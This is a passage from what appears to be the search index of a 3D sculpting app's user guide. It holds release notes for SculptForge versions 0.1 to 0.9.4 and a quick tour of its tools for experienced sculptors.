with a ComfyUI workflow and a fixed seed could crash at random; fixed. SculptForge now keeps a log file, sculptforge.log, in its settings folder (Help > Open log folder). After a crash it says what crashed and what you did last; attach it when you report a problem. See The log file."},{"p":"whats-new.html","c":"What's new","a":"forge-spheres","h":"Forge Spheres","t":"Block out a body, creature or plant from connected spheres: Tool > Forge Spheres > New Forge Sphere, drag on a sphere to grow a limb, Move and Scale it into proportion, Alt+click to delete, with Symmetry mirroring every edit. Preview (A) shows the skin, and Make Mesh turns it into a sculptable, all-quad Part with a face group per limb, keeping the Forge Spheres to change later. See Forge Spheres."},{"p":"whats-new.html","c":"What's new","a":"blender-keys","h":"Blender keys","t":"Preferences > Input > Style > Blender brings Blender's navigation and Sculpt Mode keys: middle-drag to orbit (Alt+drag with a pen), the numpad views, F / Shift+F, V S P I G C K for brushes, M for the mask. You can also import a keymap you exported from Blender. See Blender keys."},{"p":"whats-new.html","c":"What's new","a":"flat-shading","h":"Flat shading","t":"Material > Shading > Flat shows every polygon as its own facet, to read a low-poly blockout's planes and check exactly what a brush did; This Part keeps one Part smooth or flat whatever the scene says. See Vertex Paint and materials."},{"p":"whats-new.html","c":"What's new","a":"spacemouse-experimental","h":"SpaceMouse (experimental)","t":"A 3Dconnexion SpaceMouse now moves the view: twist, tilt and push the cap to turn, pan and zoom around the model with one hand while the other holds the pen, in every input style and even mid-stroke. The two side buttons frame the model and show the front. Preferences > Input > SpaceMouse sets the speed, the dead zone, turntable rotation, a dominant-axis mode, inverts any axis, and maps the buttons. It reads the device directly, without 3Dconnexion's driver, and hasn't been tried on real hardware yet: see SpaceMouse if yours doesn't show up."},{"p":"whats-new.html","c":"What's new","a":"your-own-lit-spheres","h":"Your own Lit Spheres","t":"Material > Load Lit Sphere... turns any image (PNG, JPG or EXR) into a material, and images you put in Documents/SculptForge/Lit Spheres show up in the material list, even while SculptForge is running. Right-click one and choose Remove to send it to the trash. Projects carry the Lit Sphere they use, so they look the same on any computer. See Your own Lit Spheres."},{"p":"whats-new.html","c":"What's new","a":"fixes-2","h":"Fixes","t":"Pens whose drivers send stray mouse events (a Ugee M708 on Linux) can rotate, pan and zoom on the background again instead of shaking the view. The S / U / I / O slider opens with its knob under the cursor and stays open while you drag it. The Blender Bridge add-on installs again: its zip was missing a file. Pens on Windows (Wacom Intuos Pro and others through Windows Ink): taps on menus and buttons land, and Alt+pen drag, the Move button and the S / U / O slider follow the pen instead of jumping. Idle, SculptForge no longer keeps your graphics card busy: it draws a new frame only when something changes (before, 60 or more a second all the time)."},{"p":"whats-new.html","c":"What's new","a":"fixes-and-packaging","h":"Fixes and packaging","t":"Exports without a material of their own (FBX, USD) and splats made from an unpainted sculpt use the Soft Clay grey instead of the old peach. Linux AppImages are now named SculptForge-0.9.4-x86_64.AppImage (and -aarch64) and carry update information for AppImageUpdate. On macOS you can install with Homebrew: brew install --cask islandmed/tap/sculptforge."},{"p":"whats-new.html","c":"What's new","a":"a-cleaner-look","h":"A cleaner look","t":"The default material is now Soft Clay: matte, with a clear light and shadow side, so sculpted detail reads at a glance. Orange marks only the current tool; options that are on are a lighter grey with a thin orange line. Every brush icon is drawn the same way, with a mark that shows what the brush does. A material you picked before is kept: choose Soft Clay in the Material menu to see the new look. See The interface."},{"p":"whats-new.html","c":"What's new","a":"bigger-brush-tiles-your-size","h":"Bigger brush tiles, your size","t":"The brush tiles on the bottom shelf are bigger. Right-click any brush on the shelf and choose Tile size: Small, Medium or Large (also in Preferences > Interface > Shelf tiles)."},{"p":"whats-new.html","c":"What's new","a":"export-stl-from-the-file-menu","h":"Export STL from the File menu","t":"File > Export STL... is its own menu item, for 3D printing."},{"p":"whats-new.html","c":"What's new","a":"view-in-ar-on-android","h":"View in AR on Android","t":"On Android, View in AR used to just download a file. It now opens an AR page in Chrome: your sculpt comes to it encrypted through SculptForge's relay, so it works even when Chrome can't reach your computer, and it updates as you sculpt. Show it with Chrome's AR or with Google's AR viewer. If the capture page is open in Firefox, tap Open in Chrome. See Phone capture and AR."},{"p":"whats-new.html","c":"What's new","a":"one-port-for-the-phone-link","h":"One port for the phone link","t":"Face capture and AR now use the same network port as the capture page. On Linux with a firewall, allow that port for both TCP and UDP from your home network."},{"p":"whats-new.html","c":"What's new","a":"version-091","h":"Version 0.9.1","t":"Fixes from the first day of 0.9."},{"p":"whats-new.html","c":"What's new","a":"phone-capture-when-the-phone-cant-open-the-page","h":"Phone capture: when the phone can't open the page","t":"Recent versions of Chrome on Android can refuse to open any address on your home network and just say This site can't be reached. The Capture from phone window now says so and suggests Firefox, and its The phone can't open the page? list covers Linux firewalls too. See Phone capture and AR."},{"p":"whats-new.html","c":"What's new","a":"easier-to-read","h":"Easier to read","t":"This guide, including What's New, and the update banner now use larger text."},{"p":"whats-new.html","c":"What's new","a":"baking","h":"Baking","t":"Cancel now stops small bakes too."},{"p":"whats-new.html","c":"What's new","a":"version-090","h":"Version 0.9.0","t":"Maquette to performance: scan an object or a clay maquette with your phone, turn the scan into a clean mesh you can sculpt and animate, give a head the 52 ARKit facial shapes, and drive them live with your own face."},{"p":"whats-new.html","c":"What's new","a":"facial-shapes-and-live-face","h":"Facial shapes and live face","t":"Tool > Facial Shapes > Generate Facial Shapes gives a sculpted head the 52 Apple ARKit blend shapes (eyeBlinkLeft, jawOpen, mouthSmileRight, ...) as sculpt layers, fitted to its proportions from a template head with those shapes (ICT-FaceKit, MIT licence). Eyes, teeth and tongue Parts get theirs too. Fix any shape by sculpting into its layer, check them with the Face test presets and sliders, and export them with their ARKit names to GLB, USD, FBX and Blender (as shape keys). face_weights drives them live from a face feed, and recorded takes play in the viewport and bake into a glTF animation or USD time samples. new_head starts a scene with a human head to sculpt on. See Facial shapes and live face."},{"p":"whats-new.html","c":"What's new","a":"scan-an-object-into-a-splat","h":"Scan an object into a splat","t":"Film an object with your phone, or take photos all around it, and SculptForge trains a Gaussian splat from it on your own graphics card. The splat appears in the viewport after a few hundred steps and sharpens while it trains; you can orbit around it, stop when it's good enough, or cancel. Pick Video... or Photos Folder... under Splats > Train from capture, or drop a video onto the window. The free Brush trainer is offered as a one-click download the first time. See Scan an object into a splat."},{"p":"whats-new.html","c":"What's new","a":"make-sculptable-from-a-scan-to-a-production-asset","h":"Make sculptable: from a scan to a production asset","t":"One click in the Splats palette turns a Gaussian-splat capture into a clean Part you can sculpt, rig and animate: a watertight surface with the floaters and background gone and open bottoms sealed, quad topology at a Game, Film or Sculpt budget, edge loops round the eyes and mouth and along the nasolabial folds when the capture is a head (mirrored across the face), and the capture's colours as vertex paint or a texture. A crop box cuts away the table or the room; Review shows the face landmarks to nudge before remeshing. The splats stay, hidden. Five million splats take about ten seconds on a laptop. See From scan to sculptable mesh."},{"p":"whats-new.html","c":"What's new","a":"your-phone-as-sculptforges-camera","h":"Your phone as SculptForge's camera","t":"File > Capture from phone shows a QR code: scan it and your phone's browser can send SculptForge a scan (walk round an object for 20 to 60 seconds), a photo to turn into a model, or a splat file from a scanning app. Tap View in AR to see your sculpt standing on your desk, updated as you sculpt, and Face capture to drive a character's facial shapes with your own face, live. No app to install. See Phone capture and AR."},{"p":"whats-new.html","c":"What's new","a":"version-081","h":"Version 0.8.1","t":"Fixes from a professional sculptor's testing, and a way to bring a library over."},{"p":"whats-new.html","c":"What's new","a":"more-classic","h":"More classic","t":"Classic zoom direction. With the Classic input style, dragging up zooms out on every zoom drag. See Navigation. Ctrl and Ctrl+Shift brushes. Hold Ctrl and the left shelf shows the mask brush; with Ctrl held the Brush and Stroke pickers pick Mask Pen, Mask Lasso or Mask Rectangle. Ctrl+Shift does the same for Select Rectangle and Select Lasso. See Masking. Group by UVs. One face group per UV island, in Tool > Face Groups. See Face Groups and visibility."},{"p":"whats-new.html","c":"What's new","a":"texture-painting-one-click-to-start-and-faster","h":"Texture painting: one click to start, and faster","t":"With the Paint brush on, a Part without a texture now shows New Texture on the top shelf and in the Color palette: click it and SculptForge unwraps the model if it has no UVs (Auto UV, in the background) and gives it a texture, so the next stroke paints texels. Big brushes on 4K textures paint four to five times faster. See Texture painting."},{"p":"whats-new.html","c":"What's new","a":"bring-a-library-over","h":"Bring a library over","t":"A folder of numbered Bridge files opens as one scene, every Part with its face groups, vertex paint, mask and UVs."},{"p":"whats-new.html","c":"What's new","a":"version-08","h":"Version 0.8","t":"Dynamic topology, vector displacement brushes, Quad Remesh Guides, and sculpt layers on every subdivision level."},{"p":"whats-new.html","c":"What's new","a":"dynamic-topology","h":"Dynamic topology","t":"Turn on Dynamic on the top shelf and the brush adds triangles where it needs detail and removes them where it doesn't: pull a sphere into horns or fingers without stretching, block in from a ball without remeshing. Detail sets how small the triangles get, relative to the brush (zoom in for finer ones) or, with Constant detail, one size for the whole mesh. Symmetry makes mirrored triangles, borders and masks are kept, and each stroke is one small undo step. See Dynamic topology."},{"p":"whats-new.html","c":"What's new","a":"vector-displacement-brushes","h":"Vector displacement brushes","t":"One drag stamps a whole shape, overhangs and all: the new VDM brush presses a vector displacement map, so a horn can lean over, an ear can curl and scales can overlap, which no alpha can do. Four maps come with it (Horn, Ear Curl, Scales, Nostril); make your own by sculpting on a VDM Plane and clicking Create VDM, or load the EXRs Blender's VDM Brush Baker makes (and export yours for Blender). The new Slide Stamp stroke slides a stamp into place. See Vector displacement brushes."},{"p":"whats-new.html","c":"What's new","a":"classic-sculpting-keys-in-blenders-sculpt-mode","h":"Classic sculpting keys in Blender's Sculpt Mode","t":"The Blender add-on has a new preference, The Classic sculpting keys in Sculpt Mode: S, U and O for Draw Size, Strength and Falloff, B for the brushes by name, Space for the quick menu, Alt to dig in, Ctrl to mask, Ctrl+Shift to hide, D and Shift+D for subdivision levels, and more. See Working with Blender."},{"p":"whats-new.html","c":"What's new","a":"draw-the-edge-loops-you-want","h":"Draw the edge loops you want","t":"Quad Remesh Guides work: draw curves on the sculpt, around the eyes, the mouth or a joint, and Quad Remesh puts an edge loop on each one and turns the flow around it to follow. A curve that ends where it started becomes a loop that closes cleanly, symmetry mirrors what you draw, and Curves Strength sets how far around a curve the flow follows it. Guides are kept with each Part and saved in the project. See Quad Remesh Guides."},{"p":"whats-new.html","c":"What's new","a":"sculpt-layers-on-every-subdivision-level","h":"Sculpt layers on every subdivision level","t":"Sculpt layers now have a guide section on how they work with subdivision levels: record a layer at the top, step down and up, divide, reconstruct or delete levels, save, and it's still there, with one weight for every level. See Layers and subdivision levels."},{"p":"whats-new.html","c":"What's new","a":"version-07","h":"Version 0.7","t":"The Classic sculpting keys and gestures by default, and a bridge that sends models between Blender and SculptForge."},{"p":"whats-new.html","c":"What's new","a":"your-hands-just-work","h":"Your hands just work","t":"SculptForge now follows the Classic sculpting keys and gestures by default. A professional sculptor tried an earlier version and put it down because it didn't feel; this release goes through every habit of the first hour. Quick tour for experienced sculptors lists what's the same, what's different and every shortcut side by side. S, U, I, O open Draw Size, Intensity, RGB Intensity and Falloff under the cursor, and Space opens the Quick Menu with all of them plus the brush, stroke, alpha and material. Falloff shapes the brush falloff, shown as the cursor's inner ring. RGB Intensity gives painting a strength of its own, and Smooth keeps its own Intensity, so a gentle brush still smooths properly. brush letters: B C B Clay Block, B D S Sharp Crease, B M V Move, B I N Inflate... Masking: Ctrl+click the model blurs the mask, Ctrl+Alt+click sharpens it; Ctrl+A, Ctrl+Shift+A, Ctrl+I, Ctrl+H and Ctrl+W (group masked) work. Strokes and the view: Shift pressed mid-stroke draws a straight line; Shift+click, let go and drag rolls the view; Shift+Alt+click frames a Part; L toggles Lazy Stroke and V swaps colours. Visibility: Ctrl+Shift+click on a partly hidden mesh hides the group. Prefer the old keys? Preferences > Input > Style > SculptForge brings back the number keys for brushes, I for Intensity and the Ctrl+drag zoom. See Sculpting and brushes, Masking and Keyboard and mouse."},{"p":"whats-new.html","c":"What's new","a":"works-with-blender","h":"Works with Blender","t":"Keep Blender for your scene and sculpt in SculptForge: the new SculptForge Bridge add-on for Blender 4.2 and newer sends the selected objects to SculptForge with one click (starting it if needed), and File > Blender > Send to Blender sends them back. The objects update in place, keeping their transform, materials and modifiers; quads, UVs, colours, the mask and face sets (face groups) come across both ways. See Working with Blender."},{"p":"whats-new.html","c":"What's new","a":"version-06","h":"Version 0.6","t":"Performance: half the memory, a view that turns twice as fast, quicker brushes on huge meshes, and SculptForge now tells you when there's a new version."},{"p":"whats-new.html","c":"What's new","a":"lighter-sculpts","h":"Lighter sculpts","t":"A sculpt with subdivision levels takes about half the memory it did: a 33 million triangle model with its levels needs about 3.4 GB instead of 5.6, so a laptop with 32 GB holds models of 100 million triangles and more. Divide goes past 100 million triangles. The limit now follows your computer's memory instead of stopping at 50 million. Opening a project is twice as fast and no longer needs twice the model's memory while it loads. Project files of divided models are about 30% smaller. Projects from 0.5 open as before; save a copy if you still need to open it in 0.5. Sculpting gives exactly the same results as before: only the way the levels and the mesh's neighbour lists are stored changed. See Performance and big meshes."},{"p":"whats-new.html","c":"What's new","a":"big-brushes-on-huge-meshes","h":"Big brushes on huge meshes","t":"Brushes are quicker on tens of millions of polygons. On a 33 million triangle model a medium brush takes about 7.5 ms per dab (12 in 0.5), a brush covering a tenth of the model (a million vertices per dab with symmetry) about 45 ms (60 to 80 in 0.5), and masking and painting about twice as fast. Undoing a big stroke is about twice as fast too, and sculpting needs about 300 MB less memory at that size. See Performance and big meshes."},{"p":"whats-new.html","c":"What's new","a":"a-faster-lighter-viewport","h":"A faster, lighter viewport","t":"Turning the view around a huge sculpt is now about twice as fast (a 33 million triangle model: 109 frames a second with 4x antialiasing, 270 with Fast Navigation, from 49 and 68), and the graphics card needs about a third of the memory it did. Only what you can see is drawn. The mesh is drawn in patches of a few thousand triangles; patches outside the view, and on closed meshes the ones facing away from you, are skipped. Fast Navigation draws a lighter version of big meshes while the view moves, about a fifth of the triangles, and the full mesh again as soon as it stops. A 100 million triangle sphere turns at about 100 frames a second on an M1 Pro laptop. A third of the graphics memory: about 15 bytes per triangle (it was over 40 on meshes with quads), so bigger sculpts fit on the graphics card. The wireframe's edges are only kept while the wireframe is on. Opening a big model or dividing it sends it to the graphics card about 40% faster. See Performance and big meshes."},{"p":"whats-new.html","c":"What's new","a":"stl-files-print-at-the-right-size","h":"STL files print at the right size","t":"STL export is now in millimetres with Z up, as slicers expect: models used to arrive 1000 times too small and lying on their back. Set a print height in millimetres when you export, and STL files you open come in upright at their real size. See Exporting."},{"p":"whats-new.html","c":"What's new","a":"update-notifications","h":"Update notifications","t":"Once a day SculptForge looks on its website for a newer version, and if there is one, a small banner says what's in it, with What's new, Download, Later and Skip this version. It downloads one small file and sends nothing about you or your computer. Turn it off under Preferences > Updates, or check by hand with Help > Check for updates. Builds from a package manager (such as the AUR package) leave the checking to the package manager."},{"p":"whats-new.html","c":"What's new","a":"version-05","h":"Version 0.5","t":"The sculpting workflow core: subdivision levels, quad retopology, map baking, the Gizmo, and speed at tens of millions of polygons."},{"p":"whats-new.html","c":"What's new","a":"subdivision-levels","h":"Subdivision levels","t":"Sculpt one model at several resolutions: big forms low, fine detail high, and back down without losing anything. Divide (Ctrl+D) adds a level and keeps the ones below. Quads stay quads (Catmull-Clark); Smt off divides without smoothing. Lower Res / Higher Res (Shift+D / D) and the SDiv slider step between levels. Detail sculpted high rides along when you reshape low, and edits high show up softened below. Stepping back and forth is instant, even at millions of polygons. Mask, vertex paint, paint layers, face groups, hidden faces, UVs and sculpt layers follow the levels. Del Lower, Del Higher and Reconstruct Subdiv (find the lower levels of a model subdivided elsewhere). Undo walks back through strokes and level changes; projects save every level; the Parts list shows \"SDiv 3/5\". Ctrl+D now divides with levels; the old one-way Subdivide is still in Tool > Geometry. See Subdivision levels."},{"p":"whats-new.html","c":"What's new","a":"gizmo-move-scale-rotate-and-pose","h":"Gizmo: move, scale, rotate and pose","t":"Gizmo 3D, with the same keys: W Move, E Scale, R Rotate, Q back to Draw (also on the top shelf and in the Transform palette). Handles over the model. Arrows, plane squares and a free-move centre; axis rings and a view ring; axis boxes and a uniform centre. Shift snaps to 15 degrees, the grid or 10% steps. Only the unmasked part moves, so posing is: mask the body, Alt+click the shoulder to put the pivot there, raise Falloff for a soft joint, turn the arm. With X symmetry both arms move together. Pivot tools: Alt+drag the gizmo to move it alone, Reset, To Surface, World or Surface axes. Numeric entry in the Gizmo panel, All Parts (Transpose All), one undo step per drag, sculpt layers move with the surface, and the transform command for scripts. Fast on big models: a drag frame on 1.3 million triangles takes about 10 ms. W no longer toggles the wireframe: use Shift+F or Wire on the right shelf. See Moving, rotating and posing."},{"p":"whats-new.html","c":"What's new","a":"normal-displacement-and-ao-map-baking","h":"Normal, displacement and AO map baking","t":"Bake the detail of a high-poly sculpt into maps on a low-poly's UVs, for game engines and renderers: Tool > Bake. Six maps in one go: tangent-space normal, object-space normal, displacement (16-bit PNG with mid-grey = 0, plus a 32-bit EXR in world units), ambient occlusion, cavity and colour (vertex paint or texture). Right in every engine. Tangent-space maps use MikkTSpace tangents, as Blender, Unreal, Unity and Godot do; pick the OpenGL or DirectX green convention. Check it on the model. The low-poly shows its baked normal map in the viewport as soon as the bake ends, next to the high-poly. The Classic sculpting keys: source Part, 1K-8K, anti-aliasing, automatic or manual front and rear ray distances, padding around UV islands. Bakes run in the background on every core, with progress and Cancel. Send to Unreal brings the normal map along, set up as a normal map. The bake command does it all from scripts. See Baking normal and displacement maps."},{"p":"whats-new.html","c":"What's new","a":"quad-retopology-and-detail-projection","h":"Quad retopology and detail projection","t":"Quad Remesh (Tool > Geometry, like quad remesh) rebuilds a sculpt as clean quads whose edge loops follow the forms, near a Target Polygons count, in the background. Keep Groups, Adaptive Size, Use Vertex Paint, Symmetry and Half / Same / Double work. Project All (Tool > Parts > Project) puts the sculpted detail and vertex paint back onto the divided quads, with Dist, Mean and PA Blur, and respects the mask. See Quad retopology and detail projection."},{"p":"whats-new.html","c":"What's new","a":"performance-at-tens-of-millions-of-polygons","h":"Performance at tens of millions of polygons","t":"Sculpting a 33 million triangle model on a laptop now keeps up with the display: a medium brush costs about 10 ms per dab instead of 400, and turning the view runs at 50-70 frames a second instead of 32. Brushes use every core: every brush, mask and paint stroke, the normal updates and the picking structure. Results are exactly the same as on one core. Strokes send the graphics card only what they changed. Before, a dab with symmetry on a subdivided model re-sent most of the mesh. Fast undo: undo keeps only the vertices a stroke changed, and the first vertex paint stroke on a model no longer copies the whole mesh for undo. Less memory: about 30% less per triangle for a sculpting mesh. Faster projects: saving and opening big projects is faster, and projects over 4 GB save (ZIP64). Preferences > Performance: Antialiasing (Off to 8x), Fast Navigation (big scenes drop antialiasing while the view moves), Multithreading, what your last stroke cost per dab, and the memory the scene holds. A Part too big for the graphics card is left out of the view with a message, instead of failing. sculptforge --bench measures your machine. See Performance and big meshes."},{"p":"whats-new.html","c":"What's new","a":"polish","h":"Polish","t":"Your paint survives Auto UV and retopology. Auto UV on a painted Part moves the texture and its layers onto the new UVs. Voxel Remesh and Quad Remesh have a Keep Texture option (on by default) that unwraps the new surface and projects the texture onto it, and merging Parts keeps their textures in one. Each is a single undo step. See Texture painting. Faster, safer Auto UV on dense sculpts: no more crash or folded UVs on dense smooth meshes, and a million-triangle sculpt unwraps in a quarter of a minute or so. Decimate keeps the texture exact across UV seams. Subdivision levels, polished. Tools that rebuild the mesh (remesh, Decimate, Quad Remesh, Subdivide, Delete Hidden, merge and split) tell you they removed the levels and that the level you were on became the new base; Ctrl+Z brings them all back. Sculpt layers' fine detail turns with a low level you pose with the Gizmo, and Parts you aren't working on no longer hold cached levels in memory. Quad Remesh symmetry follows your model. Symmetry (now on by default) mirrors across the model's own middle, so a model away from the centre comes out mirror-symmetric too. If the model isn't symmetric, Quad Remesh remeshes it whole and tells you. Eyes, teeth and rivets get their own quads instead of disappearing, and thin hard-edged parts such as blades and fins keep both sides and their edges. See Quad retopology. Tidier top shelf: the Vertex / Texture paint target only shows when the Part has a texture. Exports checked by other tools: textured GLB, USD/USDZ, FBX and OBJ files were checked with the Khronos validator, OpenUSD and ufbx, and the texture is the right way up in each. A model saved as my scene.obj now writes my_scene.mtl so other apps find it. See Exporting."},{"p":"whats-new.html","c":"What's new","a":"texture-painting-on-uv-maps","h":"Texture painting on UV maps","t":"Paint into a texture instead of the vertices, so the colour detail comes from the texture (1K to 8K), not from the mesh: sharp decals, pores and freckles on a light game mesh. Auto UV. Tool > Texture Map > Auto UV unwraps any sculpt in the background. Models that come in with UVs keep them, and now OBJ, FBX, USD and glTF carry UVs in and out too. New Texture. Pick a size and click New Texture: the Paint brush, Rgb sculpting, fills, cavity paint and colour picking (C) now work on the texture, with the mask, symmetry, pen pressure and alphas. Strokes never paint through to the far side, and seams stay invisible. Vertex or Texture. A toggle on the top shelf chooses where paint goes for each Part. The same paint layers. Tool > Paint Layers works on the texture's layers: blend modes, opacity, merge, flatten, all undoable. Convert both ways, Show UVs, Import / Export Texture (PNG). Projects save textures and their layers, and model exports write the texture next to the model (OBJ .mtl, glTF, USD, FBX, Bridge files). See Texture painting."},{"p":"whats-new.html","c":"What's new","a":"version-041","h":"Version 0.4.1","t":"A fix for graphics tablets: the brush ring no longer flickers between two places on the model (it looked like a second brush blinking, most often while masking or smoothing). Some tablet drivers, Windows Ink among them, send extra mouse movements beside the pen's; now, while the pen is in range, only the pen moves the brush. See Pen tablets if your pen still misbehaves."},{"p":"whats-new.html","c":"What's new","a":"version-04","h":"Version 0.4","t":"Version 0.4 is about making SculptForge feel like home to experienced sculptors. It was shaped by feedback from a working professional modeler and by what sculptors say on sculpting forums."},{"p":"whats-new.html","c":"What's new","a":"classic-navigation","h":"Classic navigation","t":"Free rotation. Dragging turns the model the way the cursor moves and can roll it right over the top, . If you prefer the model to stay upright, set Preferences > Interface > Rotation to Turntable. Snap to a view. Hold Shift while rotating to snap to the nearest front, back, side, top or bottom view. Classic zoom. Alt+drag on the background pans; let go of Alt while still dragging and the rest of the drag zooms. With the right mouse button, Alt pans and Ctrl zooms. See Navigating the view."},{"p":"whats-new.html","c":"What's new","a":"mask-and-isolate-with-a-lasso-or-rectangle","h":"Mask and isolate with a lasso or rectangle","t":"Mask Lasso and Mask Rectangle. Pick the shape at the top of Tool > Masking, then Ctrl+drag to mask everything inside it; add Alt to unmask. The drag can start on the model or beside it. Select Lasso. In Tool > Visibility, pick Select Lasso next to Select Rectangle, then Ctrl+Shift+drag a free-hand shape to keep only what's inside (add Alt to hide it instead). See Mask with a lasso or rectangle and Face Groups and visibility."},{"p":"whats-new.html","c":"What's new","a":"a-material-made-for-sculpting","h":"A material made for sculpting","t":"The new Sculpt material is the default: plain clay under a strong key light, with crisp highlights and deep shading in the creases, so even small strokes stay easy to read. The other materials are still in the material picker (M), and projects keep the material they were saved with. See Vertex Paint and materials."},{"p":"whats-new.html","c":"What's new","a":"quads-stay-quads","h":"Quads stay quads","t":"Models you bring in from the other app (Bridge) or as OBJ, FBX, PLY or USD keep their quads: Wire shows them as quads, and exporting writes them back as quads. Subdivide turns each quad into four, voxel remesh now gives an even grid of quads (like voxel remesh), and new cubes and planes are made of quads. See Quads and triangles."},{"p":"whats-new.html","c":"What's new","a":"paint-layers","h":"Paint layers","t":"Vertex Paint now has layers, like Photoshop: each Part can have a stack of colour layers with their own opacity, visibility, lock and blend mode (Multiply, Screen, Overlay, Soft Light, Add and more). Painting on a layer never destroys what's underneath, and you can merge, flatten, duplicate and reorder layers. Find it in Tool > Paint Layers, and see Paint layers. The Paint Layers sub-palette with three layers and their blend modes"},{"p":"whats-new.html","c":"What's new","a":"easier-to-install","h":"Easier to install","t":"The download links now always get the newest version, and there are one-command installers for Windows, macOS and Linux."},{"p":"whats-new.html","c":"What's new","a":"version-03","h":"Version 0.3","t":"Parts: several separate meshes in one scene. Append, duplicate, split, merge, solo, and Alt+click to select. See Parts. A classic interface: shelves around the canvas, alphabetical palettes, the Library (,), the brush, stroke, alpha and material pickers, hold-Ctrl help on every control and a command palette (F3). See The interface. Graphics tablets: pen pressure, the eraser end and pen buttons. See Sculpting and brushes. A brush library with brush codes to share and a community gallery. See Brush Lab and sharing brushes. ComfyUI workflows for image and text to 3D. See Image and text to 3D. This user guide, built into the app (Help > User Guide, Shift+F1)."},{"p":"whats-new.html","c":"What's new","a":"version-02","h":"Version 0.2","t":"Masking, face groups and visibility, and vertex paint with Lit Spheres. New brushes: Sharp Crease, Clay Block, Tendril, Trim, Layer and Nudge, with strokes and alphas. Project files with autosave, recent files and snapshots, and exchange with the other app (Bridge)."},{"p":"whats-new.html","c":"What's new","a":"version-01","h":"Version 0.1","t":"The first release: sculpting with symmetry and sculpt layers, voxel remesh and decimation, game-ready LOD chains and Send to Unreal, image and text to 3D with free AI models, Gaussian splats, OpenUSD, and scripting from the command line, Python and AI agents."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"","h":"Quick tour for experienced sculptors","t":"You know how to sculpt; you just need to know where SculptForge keeps things. This chapter is the same ten stops as the in-app tour: Help > Quick tour, or Sculpted before? Take the quick tour in the welcome. Each slide there has a Show me button that opens the panel it talks about and flashes it, while the tour waits in a small bar at the bottom of the view (Back to the tour brings it back). The pictures are SculptForge in its default look and layout."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"where-things-are","h":"Where things are","t":"The command search finding Quad Remesh by the word \"retopo\" The menus along the top are sorted by task: Sculpt (brushes, strokes, alphas, symmetry), Paint, Mesh, View and Render. The right tray holds the Tool palette: Parts, Geometry, Remesh, Masking, Cut, Bake and more. The shelves around the view hold the brush, its size and strength, and the brush, stroke, alpha and material tiles. See The interface. Lost? Press F3 and type what you are after in your own words. The search knows the usual sculpting words too, and says which one it matched: Type Finds remesh, voxel, block out Voxel Remesh retopo, retopology, quads Quad Remesh subdivide, multires, levels Divide, Lower Res, Higher Res groups Face Groups clip, trim, slice Tool > Cut folders, objects Tool > Parts insert, kitbash Append (a mesh as a new Part) vertex color Vertex Paint armature Forge Spheres"},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"voxel-remesh","h":"Voxel Remesh","t":"Tool > Remesh open in the right tray A fast remesh for blocking out. Pull shapes far out or merge pieces, then rebuild one even surface: open Tool > Remesh in the right tray, set Resolution and click Voxel Remesh. A higher resolution keeps more detail. The mask and vertex paint carry over, so you can keep going. See Geometry."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"dynamic-topology","h":"Dynamic topology","t":"Sculpt > Draw & Tablet with the Dynamic topology controls Dynamic topology adds detail where you sculpt. Turn on Dynamic on the top shelf and the brush adds triangles where it needs them and removes them where it doesn't; Detail sets how small they get. Pull horns, ears or fingers out of a ball without remeshing. Wire (Shift+F) shows the new triangles. See Dynamic topology."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"quad-remesh","h":"Quad Remesh","t":"Tool > Remesh with Quad Remesh at its top Automatic quad retopology: Tool > Remesh > Quad Remesh rebuilds a sculpt as clean quads whose edge loops follow the forms. Set Target Polygons and leave Keep Original on. Divide the result, then Project All (Tool > Parts) brings the detail back. Draw Quad Remesh Guides to steer the loops. See Quad retopology."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"levels-parts-and-face-groups","h":"Levels, Parts and Face Groups","t":"Tool > Geometry with the subdivision levels Ctrl+D divides and keeps the lower levels: Shift+D steps down, D steps up, and you can sculpt at any level (Tool > Geometry). A scene holds several Parts (Tool > Parts); Alt+click one in the view to work on it. Face Groups split a Part into coloured regions to hide, isolate or mask (Tool > Face Groups). See Subdivision levels."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"masking","h":"Masking","t":"Tool > Masking with By cavity and By face group Hold Ctrl and paint to mask, Ctrl+Alt to unmask. Tool > Masking inverts, blurs and grows the mask, and builds one By cavity, By face group or along the border. Press G for the stroke popup: its Shapes row picks Mask Pen, Mask Lasso or Mask Rect for the next Ctrl stroke. See Masking."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"cut-clip-and-close-holes","h":"Cut, Clip and Close Holes","t":"Tool > Cut with its shapes and modes Pick a shape in Tool > Cut and draw it with Ctrl+Shift: a line, lasso, rectangle or polyline goes straight through the whole Part, and a closed Part stays closed. Cut it away, cut in, add, or Clip: press everything outside the shape flat onto its outline. Close Holes (Tool > Geometry) caps every open boundary. See Cut and Close Holes."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"brushes-alphas-and-the-library","h":"Brushes, alphas and the Library","t":"The Library's Brush tab B opens the brush picker; type the first letters of a name to pick one. The Alpha tile picks the stamp shape. The Library (,) holds starter meshes, brushes, alphas, Lit Spheres and snapshots. A pack (.sfpack) brings brushes, alphas and Lit Spheres in one file; File > Install Pack shows what is inside before anything is installed. See Sculpting and brushes and Packs and macros."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"baking-and-texturing","h":"Baking and texturing","t":"Tool > Bake with its maps Tool > Bake makes normal, displacement, ambient occlusion, cavity and colour maps from your sculpt onto a low-poly Part with UVs, in the background. P picks the Paint brush for vertex paint; New Texture on the top shelf paints into a texture instead (Auto UV runs first), with paint layers and material channels. See Baking, Texture painting and Material painting."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"sculptforge-stays-free","h":"SculptForge stays free","t":"Everything in this tour is free, and stays free. If SculptForge helps your work, a membership keeps it moving: members vote on what we build next in #feature-vote on Discord, and Insiders get daily drops and preview builds. See sculptforge.app/support.html. Maybe later on the tour's last slide closes it, and it doesn't come back by itself."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"keys","h":"Keys","t":"Edit > Preferences > Input > Style picks the keys: SculptForge (the default), Classic sculpting keys, Blender or Maya. Picking the Classic sculpting keys offers this tour once. See Keyboard and mouse."},{"p":"quick-tour.html","c":"Quick tour for experienced sculptors","a":"see-also","h":"See also","t":"Your first sculpt in 10 minutes The interface 